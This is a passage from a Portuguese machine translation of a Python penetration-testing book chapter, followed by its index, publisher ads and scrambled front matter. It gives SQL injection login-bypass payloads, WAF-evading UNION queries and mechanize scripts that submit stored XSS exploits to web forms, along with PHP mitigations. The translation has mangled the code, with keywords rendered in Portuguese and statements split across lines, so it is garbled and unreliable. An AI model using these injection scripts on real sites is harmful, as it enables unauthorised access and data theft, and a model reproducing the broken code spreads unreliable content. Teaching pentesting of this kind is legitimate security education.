user_exp = [ 'admin "-', "admin' -", 'admin" #', "admin' #"]
user1 = raw_input ( "Entre o nome de usuário ") pass1 = raw_input

(" Enter a Password")
bandeira = 0 p
=0
br.select_form (nome = formulário) br.form

[usuario1] = user_exp [p] br.form [pass1] =
"aaaaaaaa" br.submit () = dados ""
para ligação em br.links ():

Dados = dados + str (ligação)
lista = [ 'Sair', 'fim de sessão', 'signout', 'signoff'] dados1 = data.lower ()
para l na lista:
bandeira = 1, se
a bandeira == 1:
print "t Sucesso \ in", p + 1, "tentativas" print "bem sucedido hit ->",
user_exp [p]
elif (p + 1 == len (user_exp)):

coisa:
p=p+1
No código anterior, utilizou-se mais uma variável, Formato; na saída, você tem que selecionar o nome do
formulário. No sql_form6.py código, eu assumi que o nome de usuário e senha estão contidas no número do
formulário 1.
[145]
A saída do código anterior é como se segue:
A exploração consulta nome de usuário de injeção SQL
Agora, podemos mesclar tanto a sql_form6.py e sql_from7.py código e fazer um código.
A fim de mitigar o ataque de injeção SQL anterior, você tem que definir um programa de filtro que filtra a
seqüência de entrada digitada pelo usuário. No PHP, a mysql_real_ escape_string () função é usada para filtrar. A
imagem seguinte mostra como usar essa função:
O filtro de injecção SQL em PHP
[146]
Capítulo 7
Até agora, você tem a idéia de como realizar um ataque de injeção SQL. Em um ataque de injeção SQL, nós temos que fazer
um monte de coisas manualmente, porque há uma grande quantidade de ataques de injeção SQL, tais como, a ordem baseada
no tempo baseada em consulta SQL contido por, baseado em união, e assim por diante. Cada pentester deve saber como criar
consultas manualmente. Para um tipo de ataque, você pode fazer um programa, mas agora, diferentes desenvolvedores de sites
usam métodos diferentes para exibir dados do banco de dados. Alguns desenvolvedores usam formulários HTML para exibir
dados, e alguns usam declarações HTML simples para exibir dados. Uma ferramenta de Python, SqlMap, pode fazer muitas
coisas. No entanto, às vezes, um firewall de aplicação web, tais como segurança mod, está presente; isto não permite consultas
como União e ordenar por. Nesta situação, você tem que criar consultas manualmente, como mostrado aqui:
! / * UNIÃO * / SELECT 1,2,3,4,5,6, - / * 00000UNION * / SELECT 1,2,

banco de dados (), 4,5,6 - / * UNIÃO * / / *! SELECT * / 1,2,3,4,5,6 -
Você pode fazer uma lista de consultas criadas. Quando consultas simples não funcionam, você pode verificar o
comportamento do site. Com base no comportamento, você pode decidir se a consulta for bem sucedida ou não. Neste
caso, a programação Python é muito útil. Vamos agora olhar para os passos para fazer um programa de Python para
um site baseado em firewall:
1. Faça uma lista de todas as consultas trabalhada.
2. Aplique uma consulta simples para um site e observar a resposta do site.
3. Use esta resposta para tentativa não for bem sucedida.
4. Aplique a consultas listado por um e corresponder a resposta do programa.
5. Se a resposta não for compatível, em seguida, marque a consulta manualmente.
6. Se ele apareceu bem sucedido, em seguida, parar o programa.
7. Se não for bem sucedido, em seguida, adicione isso em tentativa não for bem sucedida e continuar com a consulta
listada.
As etapas anteriores são usados para mostrar apenas se a consulta trabalhada é bem sucedida ou não. O resultado desejado só
pode ser encontrada através da visualização do site.
[147]
Aprender sobre cross-site scripting

Nesta seção, vamos discutir a Cross-Site Scripting (XSS) ataque. ataques XSS explorar vulnerabilidades em páginas
da web geradas dinamicamente, e isso acontece quando os dados de entrada invalidada está incluído no conteúdo
dinâmico que é enviado para o navegador do usuário para renderização.
ataques cross-site são de dois tipos seguintes:
• Persistentes ou armazenados XSS
• Não persistente ou reflectida XSS
Persistentes ou armazenados XSS

Neste tipo de ataque, a entrada do atacante é armazenado no servidor web. Em vários sites, você terá visto comentário
campos e uma caixa de mensagem onde você pode escrever seus comentários. Depois de enviar o comentário, o seu
comentário é mostrada na página de exibição. Tente pensar em um exemplo onde o seu comentário se torna parte da
página HTML do servidor web; isso significa que você tem a capacidade de mudar a página web. Se validações
adequadas não estão lá, então o seu código malicioso podem ser armazenados no banco de dados, e quando ela é
refletida de volta na página da web, que produz um efeito indesejável. Ele é armazenado permanentemente no servidor de
banco de dados, e é por isso que ele é chamado persistente.
Não persistente ou reflectida XSS

Neste tipo de ataque, a entrada do atacante não é armazenado no servidor de banco de dados. A resposta é
devolvido na forma de uma mensagem de erro. A entrada é dada com o URL ou no campo de pesquisa. Neste
capítulo, vamos trabalhar em XSS armazenado. Vamos agora olhar para o código para o ataque XSS. A lógica do
código é para enviar um exploit para um site. No código a seguir, vamos atacar um campo de um formulário:
importação mecanizar
importação re prateleira de
importação
(True)
[148]
Capítulo 7
# br.set_handle_redirect (Falso)
(False) br.open (URL)
s = shelve.open ( "mohit.xss", write-back = TRUE) para a forma em

br.forms ():
att = raw_input ( "Introduzir no campo de ataque ") não = raw_input ("

Enter o campo normal") br.select_form (nr = 0)
p = 0 flag = 'y', enquanto a

bandeira == "y":
br.open (URL) br.select_form (nr = 0)

br.form [n] = 'aaaaaaa' br.form [ATT] = s [
'xss'] [p] de impressão s [ 'xss'] [p] br.submit
()
ch = raw_input ( "Você continuar, pressione y") p = p + 1
bandeira = ch.lower ()
Este código foi escrito para um site que usa o nome e os comentários de campos. Este pequeno pedaço de
código lhe dará uma idéia de como realizar o ataque XSS. Às vezes, quando você enviar um comentário, o
site irá redirecionar para a página de exibição. É por isso que fazemos um comentário usando o br.set_handle_redirect
(False)
declaração. No código, que armazenou o código de exploração no mohit.xss engavetar arquivo. A declaração para a
forma em br.forms (): irá imprimir o formulário. Ao ver a forma, você pode selecionar o campo de formulário para
atacar. Definir o flag = 'y' variável faz com que o
enquanto laço executar, pelo menos, uma vez. O interessante é que, quando usamos o br.open (url) declaração,
que abriu a URL do site a cada vez, porque, na minha website fictício, eu usei o redirecionamento; isto
significa que após enviar o formulário, ele irá redirecionar para a página de exibição, que exibe os antigos
comentários. o
br.form [n] = 'aaaaaaa' declaração apenas preenche o aaaaaa corda na entrada arquivado. o br.form [ATT] = s [ 'xss']
[p] declaração mostra que o campo selecionado será preenchida pela XSS explorar string. o ch = raw_input (
"Você continuar, pressione y") declaração pede a entrada do usuário para a próxima exploração. Se um usuário
digita y ou Y, ch.lower () torna y, mantendo o enquanto circuito vivo.
[149]
Agora, é hora para a saída. A imagem seguinte mostra a página Índice de

192.168.0.5:
A página de índice do site
Agora é hora de ver a saída de código:
A saída do código
[150]
Capítulo 7
Você pode ver a saída do código na imagem anterior. Ao pressionar o

y chave, o código envia o XSS explorar. Agora vamos
olhar para a saída do website:
A saída do website
Você pode ver que o código está enviando com sucesso a saída para o site. No entanto, este campo não é
afectada pelo ataque XSS devido à codificação segura em PHP. No final do capítulo, você vai ver a codificação
segura do Comente campo. Agora, execute o código e verificar o campo nome.
Ataque bem sucedido no campo de nome
[151]
Agora, vamos dar uma olhada no código de xss_data_handler.py, a partir do qual você pode atualizar mohit.xss:
def create ():
print "Isto apenas para uma chave" s = shelve.open ( "mohit.xss",
write-back = True) s [ 'XSS'] = []
update def ():

s = shelve.open ( "mohit.xss", write-back = True) val1 = int (raw_input ( "Entre o número
de valores"))
para x no intervalo (val1):

val = raw_input ( "\ n introduzir o valor \ t") (S [ 'xss']). anexar (Val)
s.sync ()
s.close ()
def recuperar ():

r = shelve.open ( "mohit.xss", write-back = True) para a chave no r:
print "*" * 20 Imprimir

r tecla [chave]
imprimir "Número Total", len (r [ 'XSS'])

r.Close ()
while (True):
print "Press"
print "C para criar, \ t U para Update, \ t R para recuperar" print "E para a saída" print "*" * 40
c = raw_input ( "Enter \ t") if (c == 'C' ou c

== 'c'):
crio()
elif (c == 'U' ou c == 'u'):

atualizar()
elif (c == 'R' ou C == 'r'):

recuperar()
elif (c == 'E' ou c == 'e'):

exit ()
else:
[152]
Capítulo 7
Espero que você esteja familiarizado com o código anterior. Agora, olhe para a saída do código anterior:
A saída de xss_data_handler.py
A imagem anterior mostra o conteúdo do mohit.xss Arquivo; a xss.py arquivo é limitado a dois campos. No
entanto, agora vamos olhar para o código que não se limita a dois campos. o xss_list.py arquivo é o seguinte:
mecanizar importação
(True)
# br.set_handle_redirect (Falso)
(False) br.open (URL)
s = shelve.open ( "mohit.xss", write-back = TRUE) para a forma em

br.forms ():
[153]
list_a = [] list_n = []
field = int (raw_input ( 'Entre o número de campo "não somente leitura"')) for i in xrange (0, campo):
na = raw_input ( 'Entre o nome do campo, "não somente leitura"') ch = raw_input ( "Você

atacar neste campo imprensa Y? ") if (ch ==" Y" ou ch == "y"):
list_a.append (na) else:
list_n.append (na)
br.select_form (nr = 0)
p = 0 flag = 'y', enquanto a

bandeira == "y":
br.open (URL) br.select_form (nr =

0)
para i em xrange (0, len (list_a)):
att = list_a [i]
br.form [ATT] = s [ 'xss'] [p] para i em xrange (0, len
(list_n)):
n = list_n [i]
br.form [n] = 'aaaaaaa'
impressão s [ 'XSS'] [p]

br.submit ()
ch = raw_input ( "Você continuar, pressione y") p = p + 1
bandeira = ch.lower ()
O código anterior tem a capacidade de atacar múltiplos campos ou um único campo. Neste código, usamos
duas listas: list_a e list_n. o list_a lista contém o nome do campo (s) em que você deseja enviar exploits de XSS,
e list_n contém o nome do campo (s) em que você não deseja enviar exploits de XSS. Agora, vamos olhar
para o programa. Se você compreendeu a xss.py programa, você vai notar que fizemos uma alteração xss.py para
criar xss_list.py:
list_a = [] list_n = []
field = int (raw_input ( 'Entre o número de campo "não somente leitura"')) for i in xrange (0, campo):
na = raw_input ( 'Entre o nome do campo, 'não somente leitura'')
[154]
Capítulo 7
ch = raw_input ( "Você atacar neste campo imprensa Y? ") if (ch ==" Y" ou ch == "y"):
list_a.append (na) else:
list_n.append (na)
Já expliquei a importância do list_a [] e list_n []. O domínio variável pergunta ao utilizador para introduzir o
número total de campos de formulário no formulário que não é só de leitura. o for i in xrange (0, campo): declaração
define que o para ciclo irá executar o número total de vezes de campos de formulário. o n / D variável pede que
o usuário digite o nome do campo, eo CH variável pergunta ao utilizador, Você atacar neste campo.
Isso significa que, se você pressionar y ou Y, o campo entrou iria para list_a; caso contrário, ele iria para list_n:
para i em xrange (0, len (list_a)):

att = list_a [i]
br.form [ATT] = s [ 'xss'] [p] para i em xrange (0, len
(list_n)):
n = list_n [i]
br.form [n] = 'aaaaaaa'
A peça anterior de código é muito fácil de entender. Dois para Dobradiças de duas listas correr até o comprimento de
listas e preencher os campos do formulário. A saída do código é como se segue:
Preenchimento de formulários para verificar list_n
[155]
A imagem anterior mostra que o número de campos do formulário é dois. O usuário entrou os nomes dos campos de
formulário e fez-lhes campos nonattack. Isso simplesmente verifica o funcionamento do código.
Preencher um formulário para verificar a lista list_a
A imagem anterior mostra que o utilizador tenha introduzido o campo de formulário e tornou atacar campos.
Agora, verifique a resposta do site, que é a seguinte:
campos do formulário preenchido com sucesso
[156]
Capítulo 7
A imagem anterior mostra que o código está funcionando bem; as duas primeiras linhas foram preenchidos
com a ordinária aaaaaaa corda. A terceira e quarta linhas foram preenchidas por ataques XSS. Até agora, você
aprendeu como automatizar o ataque XSS. Por validação adequada e filtração, os desenvolvedores web
podem proteger seus sites. Na função PHP, o htmlspecialchars () string pode proteger seu site de um ataque XSS.
Na figura anterior, você pode ver que o comente campo não é afectada por um ataque de XSS. A figura abaixo
mostra a parte de codificação da
comente campo:
Figura que mostra as htmlspecialchars () função
Quando você vê a exibição da fonte de exibição da página, parece que

& Lt; roteiro & gt; alerta (1) & lt; / script & gt; o caractere especial <é convertida em
& Lt, e> é convertido em & GT. Esta conversão é chamado de codificação HTML.
Resumo
Neste capítulo, você aprendeu sobre dois tipos principais de ataques na web: injeção SQL e XSS. Na injeção de SQL,
você aprendeu como encontrar a página de login de administrador utilizando script Python. Há lotes de diferentes
consultas para injeção de SQL e, neste capítulo, você aprendeu a decifrar nomes de usuários e senhas baseadas em
tautologia. Em outro ataque de SQLI, você aprendeu a fazer um comentário depois de um nome de usuário válido. No
próximo XSS, você viu como aplicar exploits de XSS ao campo de formulário. No mohit.xss arquivo, você viu como
adicionar mais exploits.
[157]
Índice
Símbolo B
especificações 802.11 bandeira grilagem, website 114-116 Basic Service Set
802.11 86 Identification (BSSID) 85 BeautifulSoup
802.11.a 86
802.11.b 86 URL 114
802.11g 86 usado, para obter informações encontro website
802.11n 86 de SmartWhois 109-113
caixa-preta pentesting 8
UMA injeção SQL blind 137
Access Point (AP) 85 ACK

C
bandeira digitalização 82 ativo
sniffing 58 Cain & Abel ferramenta 57
Protocolo de Resolução de Endereço. Vejo página do console de mesas CAM
administração ARP interruptores, utilizando 98, 99
URL 137 número do canal 85

AP clientes, AP
clientes, detecção 95, 96 detecção 95, 96
Apache 107 parâmetro do lado do cliente, por Python
abordagens, pentesting adulteração 120-125

caixa-preta pentesting 8 parâmetro adulteração do lado do cliente
caixa-cinza pentesting 9 efeitos, no negócio 125, 126

caixa-branca pentesting 9 validação 119, 120 métodos Tomada de cliente
ARP do lado do cliente
cerca de 70 ARP cache cerca de 12 Socket.connect (endereço)

de 71, 72 resposta ARP 12
71 ARP pedido 71 Memória de conteúdo endereçável (CAM) 98 Cross-Site
Scripting. Vejo XSS pacote personalizado de artesanato
ARP spoofing
cerca de 70 utilizado, para o sistema de segurança 75 testes
implementação, com Python 71

ASP.NET 108
D H
DDoS hacker de 5 varredura semi-aberto (varredura
cerca de 127 discrição)
múltipla IP, usando com múltiplos cerca de 76- 79

portas 130-132 passos 76
único IP, usando com múltiplos Hping 76
portas 129, 130 IP único, cabeçalho HTTP
usando com única verificando 107-109
endereço de porta 127, 128
desautenticação (deauth) ataca 96, 97 del () 54 Eu
função de negação de serviço (DoS)
ICMP ECHO Responder 30 ICMP
cerca de 8, 127 Echo Request 30 IIS encontro
detectando 132-134 6.0 108 informações
múltipla IP, usando com múltiplos

portas 130-132 cerca de 104-107 cabeçalho HTTP, verificando
único IP, usando com múltiplos 107-109
portas 129, 130 injeção

utilizado, para o sistema de segurança 75 testes
IP único, usando com única porta 127, 128
teste destrutivo 8 Intrusion Detection System (IDS) 80 IP Scanner
Negação de serviço distribuída. Vejo DDoS

criando 37-43
F
eu
varredura FIN 80
sistema vivo
site baseado em firewall
verificando, em rede 30 scanner de
programa Python, criando 147
IP, criando 37 varredura de ping 30
impressão pé
servidor web 103
caracteres de formato 60-70
nome do domínio qualificado completamente FQDN () 23 M
ataque inundação MAC
G cerca de 98 MAC lógica inundação 100,
101
métodos gerais Tomada
mecanizar, navegador Python 123 Media
socket.recv (bufsize) 12 socket.recvfrom
Access Control (MAC) 86 Mozilla add-on
(bufsize) 12 socket.recvfrom_into (tampão)
Tamper Data
12 socket.recv_into (tampão) 12
socket.sendall (dados) 13 socket.send
URL 126
(bytes) 12 socket.sendto (dados e

mysql_escape_string () 146 função
endereço) 13
N
método 120 GET, 126
dissociação da rede 75, 76 de rede ou
cinzento-caixa pentesting 9
camada IP 63
[160]
sniffer de rede usado, para a implementação de ARP spoofing 71 utilizado,
cerca de 58 para a implementação da rede
caracteres de formato 60 sniffer 58-62 SSID wireless,
implementação, com Python 58-60 encontrando 88-94 análise de tráfego
tomadas de rede 10, 11 de wireless 88-94
teste não destrutivo 8 script Python
nonpersistent (reflectido) 148-157 XSS SQL ataque de injeção 137-147 usado, para a implementação
de varredura TCP 34-36
O
R
ordem por consulta 147 SO
114 fingerprinting tomada em bruto 62
P S
pacote elaborar 70 sistema de 76 a
passiva cheirar 58 segurança scapy
penetração testador 5 teste, com elaboração de pacote personalizado 75

pentester testes, com injecção 75
cerca de 5 programa do lado do servidor
qualidades 7 criando, por conexão do cliente 13-20

pentesting métodos de soquete servidor
se aproxima de 8 cerca de 11 socket.accept () 11

componentes, para ser testado 7 destrutiva socket.bind (endereço) 11
teste 8 necessidade de seis socket.listen (q) 11
teste não destrutivo 8 Service Set Identifier (SSID) 85 simples

pré-requisitos ferramentas 10 6 injeção de SQL 137 SmartWhois
escopo
escopo, que define oito URL 112
persistente (armazenado) XSS 148 informações do site, reunindo pelo analisador
PF_PACKET 62 camada física 62 BeautifulSoup 109-114
comando ping 30 pingue da morte 83, processo de sniffing
84 de ping varrer 30-33 scanner de cerca de 58 activa

porta cheirar 58 passiva
cheirar 58
exceções soquete
cerca de 44-46 excepção socket.error 21 excepção
criando 47-56 socket.gaierror 21 excepção
método POST 120 socket.herror 21 excepção
Protocol Data Unit (PDU) 29, 86 Python socket.timeout 21 de manuseamento
20, 21
parâmetro do lado do cliente, adulteração 120-125 scripting métodos de soquete
9 plataformas de teste 10 socket.connect_ex (endereço) 25-27

socket.getfqdn ([nome]) 23
URL, para download de versões 9
[161]
socket.gethostbyaddr (iP_address) 24 W
socket.gethostbyname_ex (nome) 22
socket.gethostbyname (host) 22 servidor web
socket.gethostname () 23 socket.getservbyname impressão pé 103 116

(nomedoserviço endurecimento
[, Protocol_name]) 24 local na rede Internet
socket.getservbyport (porta bandeira HTTP agarrando 114-116

[, Protocol_name]) 24 caixa-branca pentesting 9
ataque injecção SQL ataques sem fio
cerca de 136 cerca de 96
script Python, usando 137-147 desautenticação (deauth) ataca 96 MAC

ataque de injeção SQL, tipos alagamento ataque 98
cerca de 136 wireless SSID
injeção SQL blind injeção de 137 encontrar, por Python 88-94
simples SQL 137 análise de tráfego wireless
ferramenta SqlMap 147 executar, pelo Python 88-94
T X
máquina alvo XSS
scanner de porta de scanner 44-46 cerca de 148
porta, criando 47 serviços de nonpersistent (reflectido) XSS 148-157 persistente

execução 44 (armazenado) XSS 148 148 tipos
cabeçalho TCP 64, 65 de TCP
varredura
cerca de 34
implementação, por Python roteiro 34-36
testando plataformas, com o Python método
threading.activeCount 10 () 52
você
consulta união 147 update ()

função 54 biblioteca urllib
URL 139
[162]
Obrigado por comprar
Python Teste de Invasão

Essentials
Sobre Packt Publishing

Packt, pronuncia-se 'embalado', publicou o seu primeiro livro, Dominando phpMyAdmin para a Gestão Eficaz MySQL, em abril
de 2004, e, posteriormente, continuou a especializar-se na publicação de livros altamente focadas em tecnologias e soluções
específicas.
Nossos livros e publicações compartilhar as experiências de seus colegas profissionais de TI na adaptação e personalização de
sistemas, aplicativos e estruturas de hoje. Nossos livros baseados em soluções dar-lhe o conhecimento e poder de personalizar o
software e tecnologias que você está usando para fazer o trabalho. livros Packt são mais específicos e menos geral do que os
livros de TI que você já viu no passado. Nosso modelo de negócios exclusivo permite-nos trazer-lhe informações mais focada,
dando-lhe mais do que você precisa saber, e menos sobre o que você não. Packt é uma editora ainda único moderno, que se
concentra na produção de qualidade, livros de ponta para as comunidades de desenvolvedores, administradores e os novatos
igualmente. Para mais informações, por favor visite nosso website em www.packtpub.com.
Escrevendo para Packt

Saudamos todos os pedidos de informação de pessoas que estão interessadas na criação. propostas do livro devem ser enviados para author@packtpub.com.
Se sua idéia do livro ainda está em um estágio inicial e que você gostaria de discuti-lo primeiro antes de escrever uma proposta formal livro, em
seguida, entre em contato conosco; um dos nossos editores de comissionamento irá entrar em contato com você.
Nós não estamos apenas à procura de autores publicados; Se você tem fortes habilidades técnicas, mas nenhuma experiência de escrita, os nossos
editores experientes podem ajudá-lo a desenvolver uma carreira de escritor, ou simplesmente obter alguma recompensa adicional para sua perícia.
Avançado teste de penetração para
ambientes altamente seguro [Video]
ISBN: 978-1-78216-450-0 Duração: 02:50 hrs
Um curso prático intensivo para realizar testes de penetração

profissional
1. Aprenda a executar um teste de penetração eficiente,

organizado e eficiente do início ao fim.
2. Explorar técnicas avançadas de contornar firewalls e

IDS, e permanecem ocultos.
3. Descubra avançados métodos de exploração, mesmo os

sistemas mais atualizados.
Avançado teste de penetração para

ambientes altamente seguro: The Ultimate
Guide Segurança
ISBN: 978-1-84951-774-4 Paperback: 414 páginas
Aprender a executar testes de penetração profissional para

ambientes altamente seguro com este guia prático intensivo
1. Aprenda a executar um teste de penetração eficiente,

organizado e eficiente do início ao fim.
2. Ganho de experiência prática em testes de penetração por construir

e testar um ambiente de laboratório virtual que inclui medidas de
segurança comumente encontrados tais como IDS e firewalls.
3. Aceite o desafio e realizar um teste de penetração virtual contra

uma corporação fictícia do início ao fim e, em seguida, verificar
os resultados, caminhando através de soluções passo-a-passo.
por favor, verifique www.PacktPub.com para obter informações sobre os nossos títulos
Dominando Kali Linux para Teste de
Invasão Avançada
Um guia prático para testar a segurança de sua rede com Kali Linux,
a escolha preferida de testadores de penetração e hackers
1. Os testes de segurança realista e eficaz Conduta em sua rede.
2. Demonstrar como chave de sistemas de dados são furtivamente

explorado e aprender a identificar ataques contra seus próprios
sistemas.
3. Use hands-on técnicas para tirar proveito de Kali Linux, o

framework open source de ferramentas de segurança.
Edifício Virtual pentesting Labs para

Teste de Invasão Avançada
Construir arquitetura virtual intrincada para a prática de qualquer técnica de

testes de penetração praticamente
1. Desenvolver e melhorar seus métodos e habilidades pentesting

existentes.
2. Obter uma metodologia sólida e abordagem do teste.
3. Passo-a-passo tutorial ajudar você a construir arquitetura virtual

complexa.
por favor, verifique www.PacktPub.com para obter informações sobre os nossos títulos

Python Penetração

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Python Penetração

Enviado por

Direitos autorais:

Formatos disponíveis

Python Teste de Invasão

Empregar o poder do Python para obter o melhor de

Copyright © 2015 Packt Publishing

Publicado pela primeira vez: janeiro 2015

de referência de produção: 1220115

Publicado por Packt Publishing Ltd. Livery Lugar

35 Livery Rua Birmingham B3 2PB, Reino

Unido. ISBN 978-1-78439-858-3

Autor Coordenador de projeto

Mohit Neha Bhatnagar

Rejah Rehim Ishbir Kevin McGowan

Sarah Crofton Tejal Soni

editor de aquisição Gráficos

Editor de Desenvolvimento de Conteúdo Coordenador de produção

Merwyn D'souza Shantanu N. Zagade

Os editores técnicos Trabalho tampa

Vivek Arora Shantanu N. Zagade

os arquivos de suporte, ebooks, ofertas de desconto, e mais

Por que se inscrever?

• conteúdo de copiar e colar, imprimir e marcador

Acesso gratuito para os titulares da conta Packt

Quais são os serviços em execução na máquina de destino? 44

Capítulo 5: Pé de impressão de um servidor web e um aplicativo Web 103 O conceito de impressão

O que este livro cobre

O que você precisa para este livro

Que este livro é para

definido da seguinte forma:

importação tomada rmip =

para a porta em portlist:

Qualquer entrada de linha de comando ou de saída é escrito da seguinte forma:

Avisos ou notas importantes aparecem em uma caixa como esta.

Dicas e truques aparecer assim.

Baixando o código exemplo

• O âmbito de aplicação do pentesting

• Componentes a serem testados

• Qualidades de um bom pentester

• Compreender os testes e ferramentas que você precisa

• métodos de soquete servidor

• métodos de soquete cliente

• Métodos gerais de soquete

• Exemplos práticos de soquetes

• Tomada métodos úteis

Apresentando o escopo da pentesting

• Pentesting identifica as ameaças que possam expor a confidencialidade de uma

• Pentesting avalia a eficiência da rede, produzindo grande quantidade de tráfego e examina a

• Alterar ou atualizar a infra-estrutura existente de software, hardware, ou projeto de rede pode

• No mundo de hoje, as ameaças potenciais estão a aumentar significativamente; pentesting é um exercício

• Pentesting garante se as políticas de segurança adequados estão sendo seguidos ou não

Componentes a serem testados

• Routers, interruptores, comutadores, ou gateways

• sistemas voltados ao público; websites, servidores DMZ, e-mail e sistemas remotos

• DNS, firewalls, servidores proxy, servidores FTP e web

Qualidades de um bom pentester

• Escolha um conjunto adequado de testes e ferramentas que o equilíbrio de custos e benefícios

• Siga os procedimentos adequados, com planejamento e documentação adequada

• Esteja pronto para mostrar como explorar as vulnerabilidades

• Manter-se atualizado em todos os momentos, porque a tecnologia está avançando

Definindo o escopo de pentesting

• Você deve levar em conta o tempo, pessoas e dinheiro.

escopo de pentesting. O âmbito de aplicação do pentesting é definida em dois tipos de ensaios:

° Varreduras e identifica o sistema remoto para potenciais vulnerabilidades

° Investiga e verifica os resultados

° Mapeia as vulnerabilidades com exploits adequadas

° Explora o sistema remoto com o cuidado adequado para evitar a interrupção